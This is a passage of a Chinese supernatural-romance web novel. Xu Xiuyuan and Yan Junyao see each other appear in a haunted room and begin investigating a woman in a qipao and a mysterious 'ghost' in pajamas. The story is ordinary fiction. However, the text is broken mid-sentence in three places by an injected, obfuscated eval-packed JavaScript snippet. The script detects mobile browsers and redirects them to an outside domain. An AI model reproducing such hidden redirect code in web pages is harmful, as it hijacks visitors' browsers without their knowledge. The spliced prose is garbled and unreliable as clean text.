“以前取名字都是要族里的长辈同意了才可以,例外的应该也有,并不多,只要能让那些长辈同意就可以。现在时代不一样了,也就没有那么多要求。” 居然真的有例外,那这个“君平”,会是谁呢?难道真的是他们许家的人? 如果这个“君平”不是他们家的人,那个女人又为什么会出现在那个房间里? 等到许忠林和宗叔都回房休息之后,许修远去了书房。 书房里有不少的旧相册,他仔细翻看了一遍,所有的照片里都没有出现一个和旗袍女人长相相似的。 目前他唯一能肯定的是,这个旗袍女人绝对不是自己的太奶奶。 放下相册,拿起族谱,查看太爷爷与爷爷同辈人的名字,没有出现“君平”两个字。 由于昨晚没睡好,再加上今天白天也没怎么休息,从书房出来之后就回了房间,很快入睡。 不知睡了多久,又是“砰”的一声。 许修远猛地被惊醒,翻身坐起,看了一眼手机,快要十二点了。 抬头望了望天花板,他决定再上去看看。 重新站在这个房间门口,昨晚发生的一幕幕又浮现在眼前。 他突然觉得有些可笑,自己为什么就一定非要再次上来呢?是为了证明自己看到的不是幻觉吗? 许修远闭了闭眼,深吸了一口气,转动门把。 房门打开的瞬间,入目的依然是那个女人的背影,她仍旧穿着那件浅色旗袍,正站在窗边,款款地转过身来,对着他盈盈一笑,不,确切地说,她不是对着他,因为她又叫了一声,“君平——” 随着这一声“君平”,余音还未散去,旗袍女人再次消失,眼前的画面又瞬间改天换地。 同样是那间现代化装修的房间,这次许修远居然看到一个女孩站在床边,露出扁平的小腹,正举着胳膊往上脱衣服,衣服把脸完全罩住了。 但许修远觉得,应该还是昨晚看到的那个女孩。 女孩似有所感,手上的动作蓦地顿住,迅速把衣服往下扯,随之而来的又是一声惊恐的尖叫。许修远正要转身关门,就看到她随手拿过床头柜上的什么东西,用力地砸了过来。 许修远一惊,迅速地关上了门。 余惊未消,可他还是发现了奇怪的地方。 他没有听到东西砸碰或落地的声音。 是幻觉吗? 可如果是幻觉的话,为什么会这么真实呢?真实到自己能看到她房间里的布局。 不是幻觉。 许修远觉得难以接受,自己二十多年来接受的唯物主义信仰突然见彻底被颠覆。 他几乎可以肯定,自己这是见鬼了。 那个穿旗袍的女人估计就是。 只是——那个现代女孩呢?她为什么和那个旗袍女人长得那么像呢?她是谁呢? 难道也是鬼魂? 不像。 她的反应很正常,像是人突然遇到危险时才会有的应激反应,确确实实和现实生活中遇到类似情况的人的反应一般无二。 可她如果不是鬼魂,又为什么突然会出现在这个房间里,紧接着又迅速消失呢? 对了—— 许修远再次将门把手下压,推开房门,果然如他所想,一切恢复原样,只剩一个无人的空房间。 他低头在门口处看了看,没有东西。 许修远只好将门重新关上并锁好,想了想,就当他打算再贴到门板上听一听里面会不会还会不会出现声音时,突然间,楼梯上传来急促的脚步声。 是老管家。 许修远迅速将钥匙放进了衣兜里,很快,老管家一脸苦恼地走到许修远面前,为难道:“小远,你怎么到这个房间来了?老爷子不让到这人来。” 许修远笑着解释道:“我听到了一些动静,所以上来看看。 老管家苦口婆心:“小远,赶紧去休息吧!这里头没什么,以后不要上来了。” 许修远嗯了一声,和老管家一起下了楼。 * 透过上衣,颜珺瑶隐约看到房门口出现一个身影。 心一下子跳到了嗓子眼,她迅速把衣服往下扯,眼前所见,差点使她心脏骤停。 居然又出现了。 昨晚那个年轻男人又出现了,穿着同样的睡衣,又站在了自己的房间门口。 “啊——” 她失声尖叫起来,随手抓起床头柜的一个东西,用力地砸了过去,那个男人于瞬间消失。 颜珺瑶大口地喘着气,不停地咽口水,浑身颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951134|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖着,一瞬不瞬地看着房门口。 如果昨晚还能用可能是幻觉来安慰自己,那今天她就没办法再自欺欺人。 她无比肯定,这个睡衣男一定不是人。 可他为什么在出现的那一刻,脸上仍是那么震惊,那么难以置信呢? 甚至在消失的前一瞬,竟然还转过了身,是因为害怕? 鬼,也会害怕人吗?而且还是在深夜的时候? 颜珺瑶慌忙地冲到房门口,开门跑了出去。 到了客厅,迅速开了大灯,整个人缩在沙发上,蜷手蜷脚地抱着抱枕,这才找回了一点安全感。 可渐渐地,她突然意识到什么,蓦地坐了起来。 有什么不太对劲的地方。 自己刚才随手扔过去的是什么东西来着?好像是那个天使水晶摆件,那可是瑜欣姐送自己的礼物。 咬咬牙,颜珺瑶鼓起勇气再次回到自己的房间。 门外肯定是没有的,而房间里,门口居然也没有。 不应该啊,自己一定是往这个方向扔过来了,东西怎么会找不到呢? 可接下来她找遍了整个房间,还是没有找到那个水晶摆件,东西确实不见了,而且还是凭空消失。 这——这怎么可能? 即使自己真的撞鬼了,鬼难道还能拿走东西吗? 颜珺瑶浑身的鸡皮疙瘩都起来了,头皮发炸,抱起床上的被子和枕头,再次跑出了房间,连灯都不敢关。 躺在沙发上,她不禁觉得自己有点悲催。 白天在外头跑了一天,忙得让她忘了昨晚的事情,也渐渐没那么恐惧了。等到下班回到家里,又想起自己的月度总结还没写,而今天是最后一天。吭哧吭哧地搞定了总结,终于可以洗澡睡觉。在洗澡的时候想起昨晚上看到睡衣男的事情,她还想呢,今晚要开着灯睡一晚,等过几天就不会觉得害怕了。 结果还真的是开灯睡觉,只不过不是在房间,而是在客厅,而且今晚的恐怖比之昨晚,有过之而无不及。 昨晚还好有老妈陪着自己睡,没有那么害怕,很快就睡着了—— 但昨晚老妈是因为恰巧晚睡,刚眯着没多久就被自己吵醒,而今晚老妈很早就睡了,这个点已经睡熟了,自己也不好再去敲门吵醒她。 明天还是回出租房那边吧,要是明晚再出现这种情况,搞不好又要吵到老妈,甚至是吓到她。最主要的是,这个睡衣男鬼好像是缠上了她,自己不住在家里,应该就不会影响到爸妈。 哎,自己果然是流年不利啊,怎么又撞邪了呢? 而且还是同一个鬼魂,找了自己两次,这是缠上她了? * 钱艺文起了个大早,一出房间猛地就吓了一跳。 客厅沙发上窝着一个人,被子盖的严严实实,只露出一头长发,乍一看怪渗人的。 除了她的闺女,没别人。这丫头好好的床不躺,怎么偏偏要睡在这里。 她忍不住摇摇头,叹了口气,出了门。 颜珺瑶因为昨晚的惊吓,一晚上没睡好,凌晨不知道几点的时候才勉强入睡,却陷入了梦魇中,无法脱身。不知何时,耳边出现嗡嗡嗡的噪声,不胜其烦。她用力摇头,试图甩掉这烦人的动静,突然她听到一道熟悉的声音,“瑶瑶,瑶瑶——” 是妈妈在叫她。 她倏地睁开眼,长舒一口气,终于从梦魇中挣扎出来了。 钱艺文担忧地看着她,“是不是做噩梦了?” “嗯,没事了——”颜珺瑶顶着一头乱发,有气无力地从沙发上坐起,瞥了一眼厨房的方向,哦,豆浆机正在工作。 老妈应该是怕吵到她,还贴心地把厨房的推拉门给关上了。 “怎么在这儿睡,你的床成精了,能咬你不成?” 颜珺瑶扒拉了一下头发,“差不多吧,我昨晚——” 刚开口,她却突然停下,幸好及时住了嘴,差点说漏了。 “昨晚怎么呢?” 颜珺瑶用力揉了下太阳穴,又往后躺倒,闭上眼睛无精打采地回道:“没事,我昨晚有点失眠,所以就到这儿看电视,看着看着就睡着了,忘了关灯。” 一听就没说实话,钱艺文笑道:“那我早上起来的时候电视怎么是关着的?” “……哦,我那个,定时了,到时间它可不就自动关了嘛!” “以后要是做噩梦了,就过来叫我,我陪你睡,别再窝在沙发上了,怎么能睡好!” “嗯——” “瑶瑶,上次妈妈跟你的说的,你要不要再考虑考虑?” “妈——”颜珺瑶撑开眼皮,“我的身体已经好了,偶尔生病很正常,就算是做其他工作,也有可能会生病,我暂时还不想换工作,再说了,我现在也有编制的。” 自从上次颜珺瑶反复发烧,钱艺文就有了让她换个工作的心思。大学的时候,她就要求闺女考了教师资格证,所以现在想让她去考个教编,或者是去考公,怎么着都不会有现在这么累。 无奈的是,颜珺瑶不同意,她很喜欢自己的工作。 钱艺文轻轻拍拍闺女的脸,“豆浆已经好了,快起来吃早点,再多赖会儿,估计就要来不及了。” 说完,就进了厨房滤豆浆。 颜珺瑶半死不活地离开了沙发,进洗手间洗脸刷牙,精神才稍稍得到缓解。 坐到餐桌前,闷了一口豆浆,拿起一个菜包子却没什么胃口,转而剥起了鸡蛋。 “妈,我那个房间以前是谁住的?” 7. 第 7 章 颜珺瑶要是没记错的话,家里的这套房子应该是二手房,在她三四岁的时候搬过来住到现在的。 昨晚那个睡衣男鬼—— 有没有可能是在他们一家人搬进来之前,在她的那个房间发生过什么事呢? “我们搬进来之后就只有你住过啊,你小时候一开始还不敢一个人睡,还是我陪着你的,忘记了?” 她记得,但她想问的不是这个。 “那之前呢?这套房子是从谁那里买的呢?” 钱艺文看了她两秒,“是不是因为昨晚做噩梦,所以就胡思乱想,觉得你自己的房间不干净?” 颜珺瑶自然不敢承认,赶紧否认,“没有,就只是好奇而已,好奇。” “年纪轻轻的,接受了这么多年的唯物主义教育,别疑神疑鬼,时间久了就变得神叨叨的,要是真有的话,那这个世界可不就乱套了。” 钱艺文家里算是书香世家,往上三代基本上都是老师,最不信的就是鬼神之说。 如果换做是平时,她可能就不再问了,但今天她真的是很想知道。 她撒娇道,“妈,你就告诉我嘛,算是满足我的好奇心吧!求你了,可爱的钱女士——” 钱艺文晲了她一眼,还是说道:“当初你爸单位分的房子太小了,不够住,他同事,就是高叔叔,他家一个亲戚正好要移民,所以介绍给你爸,这房子我们才买着了。” “那这个亲戚为什么移民呢?” 钱艺文想了想,随后摇摇头,“这就没细打听,只记得他们家几个都是高知,好像是在国外找到了更好的工作,所以就出去了。” 这听着怎么感觉上一个住户过得挺顺当呢,不像是发生了什么不好的事情的样子。 “他们家是这套房子最早的住户吗?” “嗯,他们家是第一批住进小区的,卖给我们的时候,这个房子还挺新的。” 颜珺瑶打破砂锅问到底,直接问道:“那他们家里在出国之前有没有出过什么事,比如——在这房子里——” “就不能盼点好的?”钱艺文作势要用筷子敲颜珺瑶的脑袋。 “哎呀——”颜珺瑶笑嘻嘻地躲开了老妈的攻势,将刚剥好的鸡蛋递给老妈。 钱艺文又瞪了她一眼,“买二手房肯定会打听这些的呀,谁都一样,我们家自然也不例外。你爸当年都问过了,人家家里好好的,啥事没有,要说有什么,那就是家里出的都是高材生,用你爷爷的话说,大概就是所谓的风水好吧!” 好像说得通,如果这里曾经真的出过什么事,在这样人多的小区住,一打听就能打听到的。而且要是真有什么事,不可能瞒的一个人都不知道。但自己家搬过来这么多年,也没听谁说过他们家房子有问题的。 由此看来,自己的房间应该是没发生过什么事情。 那自己碰上的那个睡衣男鬼—— 难道以前是小区的某位住户,离世之后一直在小区徘徊不去,所以找上她,帮他完成心愿? 可两次了,他一个字也没说啊! 总不能他是想要她主动去查出他的事吧? * 许家老宅。 许忠林刚起床,老管家就进了房间,把昨晚的事情告诉了他。 许忠林神色一凛,“他怎么会到那儿去,他进去过?他哪来的钥匙?” 宗叔摇头,“小远应该是没有进去,昨晚我去看了,钥匙还好好地放着。” 爷爷眉头不展,半晌才说道:“嗯,我知道了,我会处理的。赵先生那边,你再给他打个电话,让他尽快赶回来。” 昨天宗叔联系赵敬鸿,对方却被人请去了外地,一时半会儿没法过来。 宗叔点点头,离开了房间。 早餐时,许忠林突然对许修远说道:“我身体没什么事了,你今天就回去住吧,不用陪我了。” 许修远笑了笑,看了一眼一旁的宗叔,宗叔和他对视了一眼,笑容颇有几分尴尬。 他知道宗叔把昨晚的事情告诉了爷爷,不过他并不生气。宗叔在爷爷身边工作了几十年,现在也不年轻了,也没有退休的打算,一直留在爷爷身边照顾他。要说这个家里爷爷最信任谁,非宗叔莫属。 “嗯,我今天就回去。” 许修远瞥了一眼许修远,“你昨晚——大半夜的去那个房间做什么?” 嗯,终于进入正题了。 “我听到一些声音,所以上去看看。” 许忠林的眼角不禁抽动了两下,眉头死死皱着,“你听到什么声音?” “就是一些奇奇怪怪的声音,大概睡迷糊,听岔了。 爷爷,那里面放着什么。” 许忠林闻言,拿筷子的手顿住,脸上浮现怒意,“我不是说过了,那里面就是一些没用的杂物,没什么用,放着也就放着了。 许修远笑着给爷爷夹了个灌汤包,“既然是旧物,而且也没用了,怎么不处理掉?是古董吗?” 许忠林啪地一声将筷子重重放到桌上,“家里这么多房间,是怕不够住吗?还是你担心家里哪天没钱了,想变卖古董?” 许修远知道爷爷已经真的动怒了,不敢再试探,笑道:“您别动气,我就是好奇而已。” 一旁的老管家见状,忙帮腔道:“是啊,先生,小远您还不清楚嘛,从小到大好奇心就强,小时候每天都跟在您身后问这问那的,您那会儿还说这孩子长大了会读书,之后果然被您说中了。” 许修远看了看老管家,又看向爷爷,“您别生气,我不问了。” 许忠林顺了顺气,重新拿起筷子夹起了那个灌汤包。 * 秘书李娜挺着肚子,敲门进了许修远的办公室。 “许总,我已经把工作都交接给了杨薇,薇薇工作很认真,也很细心。” 许修远点点头,表示同意。李娜跟在他身边工作了挺长时间,他很相信李娜的工作能力,也相信她推荐的人。 李娜见没什么事情了,准备离开办公室的时候,许修远却又突然叫住她。 “许总还有什么事?” “你认不认识——”许修远顿了下,“比较靠谱的阴阳先生或神婆之类的人?” 李娜暗暗吃了一惊,她在许修远身边工作了这几年,一直知道他不信这些东西的,没想到他今天居然主动问起。 而且许总的表情很认真,不像是开玩笑,这—— 许修远见对方愣住,以为她不了解,于是笑道:“没事,不认识也没关系,我就是随口问问,你先去忙吧!” 李娜知道许修远是不会无缘无故突然问这些的,但她很有分寸,并没有好奇许修远打听这些的原因,左不过就是遇到了难以用科学解释的事情。 “我听说过一个老太太,好像姓严,据说是家传的能耐,很有本事,不过我没接触过,待会儿我把联系方式发给您。” “嗯,辛苦了。” 李娜并没有立即离开办公室,又说道:“许总,我觉得普陀寺还算灵验,我家里去过几次。” 说着,她轻轻拍了拍自己隆起的肚子,“当时是为了她去的。” 李娜之前出现过胎像不稳的情况,请过几次假,许修远也知道这件事,所以提前一个月让她回家休产假。 只是普陀寺—— 他倒是听过,但没去过。他唯一去过的寺庙就是龙景寺,小时候被爷爷带着去了几次。 李娜似乎猜出他在想什么,笑道:“您之前不太关注,应该不熟悉,我们这儿的普陀寺和龙景寺一样有名气,我也是听老一辈的人介绍,所以才去的。 龙景寺和普陀寺,您都可以去看看。” * 上午没有外出采访,但是颜珺瑶也没有太清闲,连着写了两篇材料,临近中午下班的时候才忙完。 于是便趁着这片刻的空闲,用关键词搜索了一下自家小区的往年新闻,确实找到了几条,死者为男性,且年纪小于三十五的只有两条。 四年前一个男学生因为学业压力跳楼自杀,事发时颜珺瑶还在上大学,之后也听说了这件事。不过这个年纪对不上,那个睡衣男鬼很明显不是高中生。 另一则新闻则是十五年前的,一个二十多岁的年轻男人,因为经济困窘,买不起房子,导致没能结成婚,一时想不开就吞了安眠药。 这个倒是有点可能,但关于死者更具体的信息则查不到。 傍晚下班,颜珺瑶回了自己的住处,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951135|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间将客厅所有的灯都打开了。 洗过澡,抱着笔记本电脑,盘腿坐到沙发上,本来想再上网搜搜关于自家小区的往年新闻,突然心念一动,而后登录了某度的贴吧,进入灵异区。 她将前两个晚上发生的事情详细地写了出来,帖子的最后一句话是,希望有哪位能人异士可以帮忙解答,感激不尽。 帖子发表了出去,她时不时地就要刷一下留言区,想看看会不会出现真正有用的建议。 网友的猎奇心理不容小觑,不到两个小时就有了不少留言,各种说法都有。 第一条留言便是:这也太奇怪了,如果这保真,那可真他妈是撞鬼了,楼主快去拜一拜! 立马就有人回复该网友:不奇怪就不会发在灵异区了。 底下另一条留言:靠,大晚上看得我有点瘆得慌,楼主确定不是在故意吓人吗? 有人提议:如果楼主画工过关,可以试着把你看到的人画下来,说不定有人认识呢! 楼下回复:同意楼上,说不定人还活着,或者只是你的幻觉! 有人跟楼:如果是幻觉的话,那消失的那个东西怎么解释? 往下又有人留言:我猜是个帅哥? 很快有人跟楼:我猜也是,感觉楼主是个写小说的,人鬼情未了? 紧接着很多人都跟着回复:同意,感觉像是写人鬼情的,有趣有趣,期待期待。 这条评论底下一群人起哄。 颜珺瑶看得有些恼火,有趣你个头,期待你个头,真是的! 底下出现了新的评论,她立即刷新,继续往下看。 十五楼:如果现实生活中真的存在这么个人,要是他已经没了,那楼主可能真的是见鬼了;要是他仍旧好好地活着,那我只能想到一种可能性,小时候看动画片的都知道,叮当猫的任意门,这太不科学了。 有人跟楼:见鬼你都说出来了,还有什么比这还不科学的吗?另外,你暴露年龄了,哈哈! 十八楼:难道是海市蜃楼? 十九楼:楼上的,想啥呢,到了晚上,太阳会躲进你家还是怎么的,海什么市,蜃什么楼啊,有点物理常识没有? 二十五楼:真有空间重叠这种事吗?好酷啊,羡慕楼主! 二十六楼:二十五楼怕不是有什么大病,羡慕?搁你身上你估计要被吓死了吧! 三十楼:楼主真的不是写小说的吗?被你说的我差点就信了,楼主就没有怀疑过自己精神有问题吗? 网友的回复不少,颜珺瑶每一条都扫过去,不知不觉已经快十二点了。 她狠狠地打了个呵欠,眼泪都出来了,看来自己是没有在网上遇上高人指点的好运。 哎—— * 晚上,许修远再次回到老宅,许忠林一看到他的车进了院子,眉头就皱了起来。 他板着脸,一脸的不欢迎。 “不是让你回去吗?怎么又过来了?” 许修远解释:“昨晚落了一些文件,所以就过来了,顺便和您吃个饭。” “小远——”宗叔在一旁忙接话,“你的东西我帮你放在卧室的桌子上了。” “辛苦宗叔了!” 晚饭过后,许忠林到院子里给花草浇水,时不时还要做些修剪,许修远在一旁陪着。 老宅的植物都有专人负责打理,但今天老爷子来了兴致,宗叔赶紧找出了工具。 许修远见爷爷一直打量着一株盆栽,适时地递过去一把剪子。 “爷爷,太爷爷的字,是不是君平?” 今天中午在公司的时候,他突然想起这幢老宅是在高祖父手上修建好的,之后就一直是他们家人住的,而太爷爷和爷爷一样,都是独子,那么最有可能和那个旗袍女人有关系的就是太爷爷或是高祖父。 至于君平这两个字,既然族谱上没找到,那就有可能不是名,而是字。 那个年代的人好文雅,很有可能会有字。 事实证明,他的猜测是正确的。 许忠林盯着自己刚刚修建过的绿植,点点头,脸上露出几分笑意,“是啊,君平是他的字。” 话音刚落,他转头看向许修远,“你怎么会知道他的字?” 8. 第 8 章 许修远接过爷爷手里的剪子,同时说道:“在书房翻书,无意中看到的,那里头的书除了我的,不是您和我爸的,应该就是太爷爷的。” 许忠林淡淡地嗯了一声,往不远处的桌子走去。 既然君平真的就是太爷爷,那那个女人和太爷爷又是什么关系呢? 前两个晚上,他所听到的,从旗袍女人口中叫出君平两个字,分明是婉转缱绻,含着无限爱意。 她是太爷爷娶的姨太太?还是——红颜知己? “那太奶奶怎么称呼太爷爷,是叫名还是字?” 许忠林在桌子前坐下,脱掉手套,端起杯子喝了口茶,这才说道:“叫名,你太奶奶接受过新式教育,讲究男女平等,不喜欢夫妻之间叫什么老爷太太的,你太爷爷也尊重她的想法。” “他们俩怎么认识的?” “自小定下的婚约,你太奶奶家和我们家是世交,门当户对,所以两家很定下了。” 许修远直觉,太爷爷和太奶奶的相处可能是相敬如宾,大概——不太相爱。 尽管两人共同孕育了三个孩子,两个双生的姑奶奶,还有爷爷。但那些旧相册里,太爷爷和太奶奶的两人合照屈指可数,少的可怜。 那个旗袍女人真的有可能是姨太太。 可如果真是如此的话,家里又为什么连一张她的照片都找不到呢? 爷爷这么多年一直对那个房间那么忌讳,难道是因为她吗? 许修远很想直接问问爷爷,但他知道爷爷的脾气,只能选择住口,不再就这个话题往下问。 * 许忠林回房前,不忘嘱咐许修远要早点休息,不要熬夜,但许修远当晚还是熬了夜。 他一直在等着夜深。 将近十二点的时候,他再次从那件大衣口袋里摸出了钥匙。关上柜门前,他又看了一眼大衣。 这件大衣是他小时候的,现在已经穿不上了,但大衣是奶奶在世的时候亲手做的,他一直留着作纪念。家里人也知道这件事,这么多年都没动过这件大衣。 幸亏小时候是把钥匙藏在了这件大衣里,否则钥匙估计早就没了。 关好衣柜,突然听到客厅有人在走动,而后是一声克制的咳嗽。 是宗叔。 许修远走出房间,宗叔看到他出来吃了一惊,“小远,你怎么——是不是我吵醒你了? “宗叔,您是不是生病了?我明天让家庭医生过来给您看看。” 宗叔脸上露出欣慰的笑容,“小远有心了,不过我这是老毛病,夜里总会咳一两声,没事的,吵到你了,快回去睡吧!” 许修远点点头,重新回到房间,直到整栋老宅子都没了动静,恢复寂静无声之时,他再次出了房门,蹑手蹑脚地到了三楼。 站在门口,他猛地发现今晚好像少了什么。 对,是那声极像椅子倒地的“砰”声。 他将耳朵贴到门板上,没有听到任何声音,想了想,还是用钥匙开了锁。 门刚一打开,许修远就感觉到腹部传来一阵痛感,像是被东西砸到,挨了一下。 下一刻,突然咚的一声,他低头一瞅,一下子愣住了。 是一个水晶摆件,掉落在地板上。 他俯身捡起来,边角的地方有些裂纹,他仔细瞧了下,发现摆件底部刻着一个英文名和一个日期。 脑子里随即闪过昨天晚上那个女孩曾朝他扔过来了一个东西的画面,难道扔的就是这个? 他深吸了一口气,抬眸向里望去,梳妆台,衣柜,西洋床,西式沙发等,只有这些哑声的家具。 没有那个穿旗袍的妩媚女人,也没有那个年轻的现代女孩。 许修远提步走了进去,仿佛误入了民国年间的女子闺房,梳妆台上都还放着那个年代的梳妆用品,房间里处处透露着女性的审美,装饰布置非常雅致。 驻足在衣柜前,他想起女人身上的那套旗袍。 会不会——就在这个衣柜里呢? 他的手还未挨上衣柜,门外忽然传来急促的脚步声,并伴着咳嗽声。 是宗叔。 许修远收回了手,刚走到门口,宗叔已经到了。 宗叔一把抓住许修远的胳膊,将他拉远了些,“小远,你怎么大半夜跑到这里来了?老爷子要是知道了肯定会生气的,快跟我下楼去!” 语气十分急切与慌张。 许修远不急不慢,“宗叔,我这就要下去了!” “你——你怎么会有这里的钥匙?” 知道瞒不过,许修远摊开掌心,“我上小学的时候偷偷配的,今晚无意中在抽屉里翻到了,就想着上来一趟,看看前几个晚上听到的声音是不是从这里传出的。” 宗叔眼皮跳了跳,拿过钥匙锁上了门,但并没有把钥匙还给许修远。 许修远也清楚,宗叔一定会把事情告诉爷爷,这个房间的锁势必马上就要被换。 “宗叔,这里头以前是谁住的?” “小远,我不清楚,老爷子也一再嘱咐,不让问。” “这里头以前住的是个女人,是家里人住的,还是只是客房呢?” 宗叔闻言,捂着嘴低头咳了好几声,催促他赶紧下楼。 许修远看出来了,宗叔今晚是不可能会说的,哪怕一个字。 算了,不说就不说吧! 他叹口气,下了楼。 接下来要头疼的是,明早如何应付爷爷。 * 如他所料,第二天早上,许忠林在餐桌上发火了。 “你昨晚看到什么了?” “爷爷,您别生气,我看那只不过是一件普通的房间而已,没什么特别的。您放心,我以后不进去了,钥匙我都给了宗叔。” 许忠林哼了一声,这才稍稍满意,松了口气,“看来是太闲了,还有心思成天好奇这好奇那的。有这时间,还不找个对象结婚,早点给我生个曾孙子才是正事!” “以后别回来了,我不需要你陪!” 许修远知道爷爷说的是气话,放下筷子,擦了擦嘴,笑道:“我这就上班去,今晚不过来了!” 许忠林挥手,不耐烦道:“快走,快走,看见你心烦的很!” 许修远一走,许忠林就没了胃口。 “这孩子看来没说实话,他一定是发现了什么,否则不会对那个房间这么好奇。昨晚你看了,那房间里有什么异常吗?” “没有,和上一次我打扫的时候一样。” “连着好几天,小远都说听到了声音,但只有他听到了——” 许忠林狠狠地闭了闭眼,“赵先生是今天回来吧,下午就派车请他过来。” 他现在只有小远了。 * 颜珺瑶提着水果和牛奶,敲响了洪阿姨家的门。 洪阿姨之前是居委会的,已经退休两年了,突然见到颜珺瑶上门有些意外。 简单问候过后,颜珺瑶就开门见山地对洪阿姨说,自己冒昧过来打扰,是想向她打听点事情。 “哎呀,说什么打扰不打扰的,太客气啦!”洪阿姨笑眯眯的,“你要打听什么呀?” “我是想问问我们小区这些年有没有出现过年轻——人死亡的情况,小于四十岁的那种。” 她在单位里查到的,和在网上查到的,基本上都差不多,但是并不是所有的这类事件都会上新闻,特别是早些年,媒体还没这么发达,有些事情不一定会被外界知道。洪阿姨在居委会工作了好些年,对于这些事情应该会比较了解,说不定还会认识那些已故的人。 “哎呀,你怎么突然要打听这个呢?” “哦,就是——”颜珺瑶提前想好了理由,“我们电视台想做个统计,进行对比分析,但有些这种情况外界并不知道,所以来问问您!” 这个理由——牵强的很,她说得都心虚。 “这样啊——”洪阿姨轻咳一声,似乎是相信了,“我想想啊,不一定都记得呀——” 接着洪阿姨一下子说了好几个,有男的也有女的,有自杀的,有因意外死亡的,也有病故的,其中那几个男的,几乎都可以排除。 “十七年前,是不是有个二十多岁的年轻人吞药自杀了?” 洪阿姨“啊”地一声,这才想了起来。 “对对对,是有这么件事,那个年轻人当时是租住在我们小区的,长得眉清目秀,也很有礼貌的,就是个子矮了点。谈了个女朋友,好像是因为买不起房子被分手,最后想不开,哎——这孩子很可怜,好像是孤儿,这么年轻就——” 颜珺瑶情不自禁点了点头,确实很可怜,也很可惜,如果当时能有人及时开导—— 等等—— 她的思绪一顿,洪阿姨刚才说了句什么来着? “阿姨,您刚才说他的个子不高是吗?” “对啊,估计跟我差不多吧,一米七左右吧!” * 离开洪阿姨家里,颜珺瑶不知道是该高兴,还是该发愁。 虽然洪阿姨不一定记得全,但她查了这几天,直觉得那个睡衣男鬼应该不是在小区内离世的。而且他看起来至少有一米八,也排除了十七年前出事的那个年轻人。 跑这一趟确实有收获,但现在—— 睡衣男鬼到底是谁?他还会再来找她吗? 这几天晚上倒是一切正常,可要是哪天他又凭空冒了出来,或是出现其他状况呢? 她正头疼着,手机响了,是闺蜜吴以晴打来的。 两人约了一起逛街,吴以晴提前到了,问她这边忙完了没有。 颜珺瑶赶紧打车去了中心商场,和吴以晴汇合。 有一段时间没见过面,正巧今天她休息,吴以晴因为要准备婚礼,也好长时间没怎么放松过,于是就把她叫了出来。 即使最近已经买了不少衣服,但进了商场,吴以晴还是燃起了熊熊的购物欲,也拉着颜珺瑶试了好几套。 两人颇有战果,吴以晴买了两条裙子,颜珺瑶也入手了一套衣服。 之后吴以晴又看中了两套情侣睡衣,很是心动,但价格超出她的接受范围,不过她没纠结多久就付了款。她的理由是,打算在度蜜月的时候和未婚夫一起穿,这么一想就觉得这钱花得值。 拎着袋子离开的时候,颜珺瑶的脑子里只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951136|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个字,贵。 不过她很快就看到了更贵的。 两个路过一个冷清的睡衣店时,吴以晴跟她科普,这个品牌专门做高端睡衣,顶级面料和独具一格的设计剪裁,穿上它,你就是奢华本奢,脑抽本抽。 颜珺瑶一问价格,不禁咋舌。她只想说,如果她一时脑抽买了一件穿到身上,这不是什么奢华本奢,而是虚荣本虚。 一件的价格,就顶得上她一个月工资。 怪不得这家店里面除了两名店员,基本没有顾客进去,普通人望而却步。 但总有好奇心重且胆子大的,比如吴以晴和颜珺瑶。 吴以晴有些许恶趣味,她想看看那两名店员碰上她们这样的普通人,会是什么样的态度,有没有网上说的那么夸张。 而颜珺瑶想要进去,则是因为她发现其中一套睡衣颇有几分眼熟。 她将这套眼熟的睡衣从架子上取了下来,立刻想起来,睡衣男鬼身上的衣服好像就是这一套! 深蓝色,翻领,左肩往下至左胸处有一丛竹子,竹子颜色较浅,在面料光泽的映衬下更加明显。 其中一名店员见状,上前热情地介绍道:“女士眼光真好,这套睡衣我们采用的是顶级面料,不仅质感好,柔软舒适,而且垂坠感和光泽也是看得见的,款式简洁优雅——” “这是什么时候的款式?” “女士,这是今年春季的新款。” “这一款买的人多吗?” “我们每一款都是限量的,不会很多。” “这个款式只有你们这家店有,还是其他店里也都有?” “都有的,女士。” 吴以晴靠了过来,拍了拍颜珺瑶的肩膀,提醒道:“现在换季了,要买也是买夏季——” 颜珺瑶回过神来,会心一笑,将衣服放回了原处,说了声谢谢就离开了。 “那里的店员蛮专业的,刚才还很用心地给介绍,不错不错,被她说的我差点想买了,幸好我及时护克制住了,保住了钱包——” “你说,我要是买了一套,成了他们的客户,他们能告诉我都有谁买了同一款吗?” “?”吴以晴有些懵,“你是疯了吗?” 她顿住,“嗯?你要查什么?” “哦,我开玩笑的。”颜珺瑶眨了眨眼,有些心不在焉。 